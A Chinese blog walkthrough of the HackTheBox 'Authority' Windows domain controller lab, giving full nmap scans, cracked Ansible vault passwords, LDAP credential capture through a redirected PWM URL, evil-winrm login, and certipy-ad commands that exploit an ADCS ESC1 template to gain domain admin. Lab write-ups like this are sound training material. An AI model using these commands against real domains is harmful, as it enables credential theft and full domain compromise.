【渗透测试】Authority- HackTheBox，Windows域控ADCS认证渗透思路样本

WelK1n_

于 2023-10-14 12:52:58 发布

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文章标签： windows 网络安全 https web安全密码学

本文链接：https://blog.csdn.net/m0_74272345/article/details/133823952

版权

靶场信息

系统：Windows
难度：中等
考察知识：Windows ADCS认证

渗透立足点

nmap扫描

sudo nmap -p- --open -Pn -n 10.10.11.222 -oA ./report/OPORT端口扫描

# Nmap 7.94 scan initiated Thu Oct 12 22:08:44 2023 as: nmap -p- --open -Pn -n -oA ./report/OPORT 10.10.11.222
Nmap scan report for 10.10.11.222
Host is up (0.32s latency).
Not shown: 65446 closed tcp ports (reset), 60 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8443/tcp  open  https-alt
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49673/tcp open  unknown
49688/tcp open  unknown
49689/tcp open  unknown
49691/tcp open  unknown
49692/tcp open  unknown
49701/tcp open  unknown
49703/tcp open  unknown
49715/tcp open  unknown
62890/tcp open  unknown

# Nmap done at Thu Oct 12 22:12:30 2023 -- 1 IP address (1 host up) scanned in 225.52 seconds

53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001这些端口用-sV扫一下

# Nmap 7.94 scan initiated Thu Oct 12 22:22:29 2023 as: nmap -sT -sV -O -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001 -Pn -n -oA ./report/message 10.10.11.222
Nmap scan report for 10.10.11.222
Host is up (0.31s latency).

PORT      STATE    SERVICE           VERSION
53/tcp    open     domain            Simple DNS Plus
80/tcp    open     http              Microsoft IIS httpd 10.0
88/tcp    open     kerberos-sec      Microsoft Windows Kerberos (server time: 2023-10-12 18:22:40Z)
135/tcp   open     msrpc             Microsoft Windows RPC
139/tcp   filtered netbios-ssn
389/tcp   open     ldap              Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open     ssl/ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
3268/tcp  open     ldap              Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
3269/tcp  open     globalcatLDAPssl?
5985/tcp  open     http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8443/tcp  open     ssl/https-alt
9389/tcp  open     mc-nmf            .NET Message Framing
47001/tcp open     http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.94%T=SSL%I=7%D=10/12%Time=65280135%P=x86_64-pc-linux-g
SF:nu%r(GetRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;
SF:charset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Thu,\x2012\x20O
SF:ct\x202023\x2018:22:45\x20GMT\r\nConnection:\x20close\r\n\r\n\n\n\n\n\n
SF:<html><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;URL='/pwm'\"
SF:/></head></html>")%r(HTTPOptions,7D,"HTTP/1\.1\x20200\x20\r\nAllow:\x20
SF:GET,\x20HEAD,\x20POST,\x20OPTIONS\r\nContent-Length:\x200\r\nDate:\x20T
SF:hu,\x2012\x20Oct\x202023\x2018:22:48\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n")%r(FourOhFourRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x2
SF:0text/html;charset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Thu,
SF:\x2012\x20Oct\x202023\x2018:22:50\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n\n\n\n\n\n<html><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;U
SF:RL='/pwm'\"/></head></html>")%r(RTSPRequest,82C,"HTTP/1\.1\x20400\x20\r
SF:\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\r
SF:\nContent-Length:\x201936\r\nDate:\x20Thu,\x2012\x20Oct\x202023\x2018:2
SF:3:01\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x20l
SF:ang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x2
SF:0Request</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma
SF:,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;backgroun
SF:d-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}
SF:\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:bl
SF:ack;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;}</
SF:style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20
SF:Request</h1><hr\x20class=\"line\"\x20/><p><b>Type</b>\x20Exception\x20R
SF:eport</p><p><b>Message</b>\x20Invalid\x20character\x20found\x20in\x20th
SF:e\x20HTTP\x20protocol\x20\[RTSP&#47;1\.00x0d0x0a0x0d0x0a\.\.\.\]</p><p>
SF:<b>Description</b>\x20The\x20server\x20cannot\x20or\x20will\x20not\x20p
SF:rocess\x20the\x20request\x20due\x20to\x20something\x20that\x20is\x20per
SF:ceived\x20to\x20be\x20a\x20client\x20error\x20\(e\.g\.,\x20malformed\x2
SF:0request\x20syntax,\x20invalid\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 2004 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 12 22:24:31 2023 -- 1 IP address (1 host up) scanned in 122.58 seconds

53端口使用Simple DNS Plus搭建DNS服务器
80端口用了IIS搭建web服务
88端口是Kerberos认证
135端口开放了RPC远程桌面
剩下都是ladp协议的相关服务，这里也爆出域名 authority.htb
系统可能为Windows Server 2019
该机器的名字为AUTHORITY

sudo nmap --script=vuln -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001 -Pn -n 10.10.11.222 -oA vuln扫描一下这些端口的漏洞情况

# Nmap 7.94 scan initiated Thu Oct 12 22:34:54 2023 as: nmap --script=vuln -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001 -Pn -n -oA vuln 10.10.11.222
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.11.222
Host is up (0.39s latency).

PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
|_ssl-ccs-injection: No reply from server (TIMEOUT)
5985/tcp  open  wsman
8443/tcp  open  https-alt
| ssl-dh-params: 
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
|             Modulus Type: Safe prime
|             Modulus Source: RFC2409/Oakley Group 2
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| http-vuln-cve2010-0738: 
|_  /jmx-console/: Authentication was not required
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
| http-enum: 
|   /blog/: Blog
|   /weblog/: Blog
|   /weblogs/: Blog
|   /wordpress/: Blog
|   /wiki/: Wiki
|   /mediawiki/: Wiki
|   /wiki/Main_Page: Wiki
|   /tikiwiki/: Tikiwiki
|   /cgi-bin/mj_wwwusr: Majordomo2 Mailing List
|   /majordomo/mj_wwwusr: Majordomo2 Mailing List
|   /j2ee/examples/servlets/: Oracle j2ee examples
|   /j2ee/examples/jsp/: Oracle j2ee examples
|   /dsc/: Trend Micro Data Loss Prevention Virtual Appliance
|   /reg_1.htm: Polycom IP phone
|   /adr.htm: Snom IP Phone
|   /line_login.htm?l=1: Snom IP Phone
|   /tbook.csv: Snom IP Phone
|   /globalSIPsettings.html: Aastra IP Phone
|   /SIPsettingsLine1.html: Aastra IP Phone
|   /websvn/: WEBSVN Repository
|   /repos/: Possible code repository
|   /repo/: Possible code repository
|   /svn/: Possible code repository
|   /cvs/: Possible code repository
|   /login.stm: Belkin G Wireless Router
|   /tools_admin.php: D-Link DIR-300
|   /bsc_lan.php: D-Link DIR-300, DIR-320, DIR-615 revD
|   /Manage.tri: Linksys WRT54G2
|   //system.html: CMNC-200 IP Camera
|   /main_configure.cgi: Intellinet IP Camera
|   /OvCgi/Toolbar.exe: HP OpenView Network Node Manager
|   /frontend/x3/: CPanel
|   /awstatstotals/awstatstotals.php: AWStats Totals
|   /awstats/awstatstotals.php: AWStats Totals
|   /awstatstotals.php: AWStats Totals
|_  /awstats/index.php: AWStats Totals
9389/tcp  open  adws
47001/tcp open  winrm

Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

# Nmap done at Thu Oct 12 23:08:21 2023 -- 1 IP address (1 host up) scanned in 2007.20 seconds

web

从vuln.nmap看，8443端口的https存在较多信息，访问知道是一个登录界面

PWM is in open configuration mode and is not secure.
PWN在开放configuration mode中并且不是安全的

smb

smb协议用来主机间共享文件，类似于Linux常用的ftp协议
Kali中可以用smbclient进行访问，将这些文档全部下载到kali里面进行分析
https://blog.csdn.net/yexiangCSDN/article/details/82867469

文件分析：

Ansible：一款开源自动化运维工具https://www.cnblogs.com/keerya/p/7987886.html
ADCS：Activity Directory证书服务
LADP：LADP协议，轻量目录访问协议
PWM：PassWordMessage？？？在WEB中我们也发现了PWM
SHARE：看起来是一个共享文件

PWM

从PWM下手，先看README.md，看到规则变量，存储了主机名、端口、mysqlroot用户密码、mysqlpwm用户代码、管理员登录用户名、管理员密码

admin默认用户名密码为root/password，我们拿这个去登录8443端口的configuration manager，失败
继续找，在PWM/defaults/main.yml中找到规则变量的内容，但是被加密了，这里还发现了LDAP的密码

Google找到这个加密的crack方法
https://www.bengrewell.com/cracking-ansible-vault-secrets-with-hashcat/

pwm_admin_login: !vault |                                                                                                                                                                         
          $ANSIBLE_VAULT;1.1;AES256 326665343864353665376531366637316331386162643232303835663339663466623131613262396134353663663462373265633832356663356239383039640a346431373431666433343434366139356536343763336662346134663965343430306561653964643235643733346162626134393430336334326263326364380a6530343137333266393234336261303438346635383264396362323065313438                                                                                                                                                                                    
                                                                                                                                                                                                  
pwm_admin_password: !vault |                                                                                                                                                                      
          $ANSIBLE_VAULT;1.1;AES256 313563383439633230633734353632613235633932356333653561346162616664333932633737363335616263326464633832376261306131303337653964350a363663623132353136346631396662386564323238303933393362313736373035356136366465616536373866346138623166383535303930356637306461350a3164666630373030376537613235653433386539346465336633653630356531                                                                                                                                                                                    
                                                                                                                                                                                                  
ldap_uri: ldap://127.0.0.1/                                                                                                                                                                       
ldap_base_dn: "DC=authority,DC=htb"                                                                                                                                                               
ldap_admin_password: !vault |                                                                                                                                                                     
          $ANSIBLE_VAULT;1.1;AES256 633038313035343032663564623737313935613133633130383761663365366662326264616536303437333035366235613437373733316635313530326639330a643034623530623439616136363563346462373361643564383830346234623235313163336231353831346562636632666539383333343238343230333633350a6466643965656330373334316261633065313363363266653164306135663764

ldap_admin_password：DevT3st@123
pwm_admin_password：pWm_@dm!N_!23
pwm_admin_login：svc_pwm

成功登录进8443的configuration manager
这个东西与LADP认证有关，Manager中找不到的信息，再回头看configuration editor

LDAP

LDAP，轻量目录访问协议，微软的AD域是基于该协议完成的
LDAP–LDAP Directories–default–Connection可以修改LDAP URLs
这里的URL是域名，如果我们将该URL设置为Kali的IP，该主机就会使用LDAP协议访问我们的Kali

修改后点击Test LDAP Profile启动LDAP连接，nc监听接收到了主机的连接并拿到一些数据

拿到了ldap的用户密码svc_ldap/lDaP_1n_th3_cle4r!，此时我们就可以使用evil-winrm远程登录

evil-winrm：https://www.cnblogs.com/backlion/p/17202253.html

Evil-WinRM shell v3.5

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -r, --realm DOMAIN               Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
        --spn SPN_PREFIX             SPN prefix for Kerberos auth (default HTTP)
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname. FQDN for Kerberos auth (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required if not using kerberos)
    -p, --password PASS              Password
    -H, --hash HASH                  NTHash
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -n, --no-colors                  Disable colors
    -N, --no-rpath-completion        Disable remote path completion
    -l, --log                        Log the WinRM session
    -h, --help                       Display this help message

evil-winrm -i authority.htb -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'

需要添加/etc/hosts``10.10.11.213 authority.htb，成功登录

拿到渗透立足点和user.txt

提权

ADCS信息枚举

在smb中我们发现了ADCS认证，我们尝试用ADCS提权
首先使用certipy-ad进行信息收集，这是一款用于AD目录认证服务的信息枚举的工具

https://cloud.tencent.com/developer/article/1946138

certipy-ad find -u svc_ldap -p lDaP_1n_th3_cle4r! -dc-ip 10.10.11.222 -enabled -vulnerable -stdout

Certificate Authorities                                                                                                                                                                                           
  0                                                                                                                                                                                                               
    CA Name                             : AUTHORITY-CA                                                                                                                                                            
    DNS Name                            : authority.authority.htb                                                                                                                                                 
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb                                                                                                                                   
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4                                                                                                                                        
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00                                                                                                                                               
    Certificate Validity End            : 2123-04-24 01:56:25+00:00                                                                                                                                               
    Web Enrollment                      : Disabled                                                                                                                                                                
    User Specified SAN                  : Disabled                                                                                                                                                                
    Request Disposition                 : Issue                                                                                                                                                                   
    Enforce Encryption for Requests     : Enabled                                                                                                                                                                 
    Permissions                                                                                                                                                                                                   
      Owner                             : AUTHORITY.HTB\Administrators                                                                                                                                            
      Access Rights                                                                                                                                                                                               
        ManageCa                        : AUTHORITY.HTB\Administrators                                                                                                                                            
                                          AUTHORITY.HTB\Domain Admins                                                                                                                                             
                                          AUTHORITY.HTB\Enterprise Admins                                                                                                                                         
        ManageCertificates              : AUTHORITY.HTB\Administrators                                                                                                                                            
                                          AUTHORITY.HTB\Domain Admins                                                                                                                                             
                                          AUTHORITY.HTB\Enterprise Admins                                                                                                                                         
        Enroll                          : AUTHORITY.HTB\Authenticated Users                                                                                                                                       
Certificate Templates                                                                                                                                                                                             
  0                                                                                                                                                                                                               
    Template Name                       : CorpVPN                                                                                                                                                                 
    Display Name                        : Corp VPN                                                                                                                                                                
    Certificate Authorities             : AUTHORITY-CA                                                                                                                                                            
    Enabled                             : True                                                                                                                                                                    
    Client Authentication               : True                                                                                                                                                                    
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollmentCheckUserDsCertificate
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE intermediate
                                          IP security use
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 20 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : AUTHORITY.HTB\Administrator
        Write Owner Principals          : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Dacl Principals           : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
        Write Property Principals       : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
                                          AUTHORITY.HTB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication

发现ESC1漏洞，这个漏洞可以提权

ADCS ESC1利用

拿到ADCS认证证书

之前evil-winrm拿到的svc_ldap有添加用户的权限，使用impacket中的addcomputer.py添加用户

usage: addcomputer.py [-h] [-domain-netbios NETBIOSNAME] [-computer-name COMPUTER-NAME$]
                      [-computer-pass password] [-no-add] [-delete] [-debug] [-method {SAMR,LDAPS}]
                      [-port {139,445,636}] [-baseDN DC=test,DC=local]
                      [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH]
                      [-no-pass] [-k] [-aesKey hex key] [-dc-host hostname] [-dc-ip ip]
                      [domain/]username[:password]

Adds a computer account to domain

positional arguments:
  [domain/]username[:password]
                        Account used to authenticate to DC.

options:
  -h, --help            show this help message and exit
  -domain-netbios NETBIOSNAME
                        Domain NetBIOS name. Required if the DC has multiple domains.
  -computer-name COMPUTER-NAME$
                        Name of computer to add.If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.
  -computer-pass password
                        Password to set to computerIf omitted, a random [A-Za-z0-9]{32} will be used.
  -no-add               Don't add a computer, only set password on existing one.
  -delete               Delete an existing computer.
  -debug                Turn DEBUG output ON
  -method {SAMR,LDAPS}  Method of adding the computer.SAMR works over SMB.LDAPS has some certificate
                        requirementsand isn't always available.
  -port {139,445,636}   Destination port to connect to. SAMR defaults to 445, LDAPS to 636.

LDAP:
  -baseDN DC=test,DC=local
                        Set baseDN for LDAP.If ommited, the domain part (FQDN) specified in the account
                        parameter will be used.
  -computer-group CN=Computers,DC=test,DC=local
                        Group to which the account will be added.If omitted, CN=Computers will be used,

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME)
                        based on account parameters. If valid credentials cannot be found, it will use
                        the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -dc-host hostname     Hostname of the domain controller to use. If ommited, the domain part (FQDN)
                        specified in the account parameter will be used
  -dc-ip ip             IP of the domain controller to use. Useful if you can't translate the
                        FQDN.specified in the account parameter will be used

使用impacket-addcomputer添加计算机

$ impacket-addcomputer authority.htb/svc_ldap:lDaP_1n_th3_cle4r! -dc-ip 10.10.11.222 -computer-name 'HackerW' -computer-pass 'hackpass'                                                                      
Impacket v0.12.0.dev1+20230928.173259.06217f05 - Copyright 2023 Fortra

[*] Successfully added machine account HackerW$ with password hackpass.

通过certipy-ad请求管理员证书：administrator_authority.pfx

certipy-ad req -username HackerW -password hackpass -ca 'AUTHORITY-CA' -target 10.10.11.222 -template 'CorpVpn' -upn "administrator@authority.htb" -dns authority.authority.htb -debug

Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve '' at '192.168.229.2'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with multiple identifications
    UPN: 'administrator@authority.htb'
    DNS Host Name: 'authority.authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'

利用该证书拿到ldap-shell

certipy-ad auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222 -ldap-shell

通过这个shell，我们添加用户WELK1N\welkin到域管理员组

借助crackmapexec使用我们创建的WELK1N\welkin以管理员身份访问服务器，但是这个方法没法成功

https://www.cnblogs.com/Yang34/p/14411497.html

crackmapexec winrm -u 'WELK1N' -p 'welkin' -dc-ip 10.10.11.222 -x 'whoami'

切换思路，将我们之前能够evil-winrm的svc_ldap放到域管里

成功进入Administrator目录，拿到root.txt！！！！！！！！！！！！！

Pwned！！！！！！！！！！！！！！！！

参考文章

https://mgarrity.com/hack-the-box-authority/
https://blog.csdn.net/UlifiTsup/article/details/131893612

总结

这个靶场是Windows域控机器的渗透，核心考点是LDAP认证
简单梳理一下靶机的思路

nmap扫描发现https服务，直面的功能为登录框，有信息指向PWM，此外没有别的信息
smb中发现机器使用ansible自动化运维，储存有ADCS和PWM信息，其中找到了PWM储存的登录密码。使用ansible2john进行转码然后使用john对加密进行破解，成功登入https。
在configuration editor中发现LDAP连接情况，通过修改LDAP连接url为kali的ip，拿到主机ldap的用户名密码，通过evil-winrm远程登录到主机，拿到user.txt
上线cs后尝试cs提权和PrintSpoofer64.exe提权均失败。回到ldap，尝试ADCS提权，certipy-ad扫描存在ESC1漏洞，借助certipy-ad利用ESC1漏洞拿到ldap-shell
在ldap-shell中添加新用户到域管，crackmapexec登录失败。转换思路将svc_ldap用户转移到域管组，重新evil-winrm登录成功进入Administrator目录拿到root.txt

ADCS的ESC漏洞有很多，可以借助certipy-ad利用。通过ADCS拿到域管权限，也是一种域渗透中，最终拿到域控机器的方法

WelK1n_

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【渗透测试】Authority- HackTheBox，Windows域控ADCS认证渗透思路样本

这个靶场是Windows域控机器的渗透，核心考点是LDAP认证简单梳理一下靶机的思路nmap扫描发现https服务，直面的功能为登录框，有信息指向PWM，此外没有别的信息smb中发现机器使用ansible自动化运维，储存有ADCS和PWM信息，其中找到了PWM储存的登录密码。使用ansible2john进行转码然后使用john对加密进行破解，成功登入https。
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